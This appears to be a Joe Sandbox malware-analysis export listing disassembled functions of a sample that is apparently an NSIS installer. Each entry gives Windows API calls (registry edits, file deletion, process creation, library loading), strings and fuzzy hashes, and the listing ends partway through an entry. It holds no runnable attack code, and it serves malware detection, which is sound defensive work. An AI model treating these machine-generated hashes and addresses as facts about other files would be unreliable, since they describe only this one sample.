String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004030E7
jA, xrefs: 004031F1
... %d%%, xrefs: 0040316E

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,76F923A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(?,00000064,?), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 004062E9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,0043F000,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

Strings

*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00401767 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNEL32(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040B5F0,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
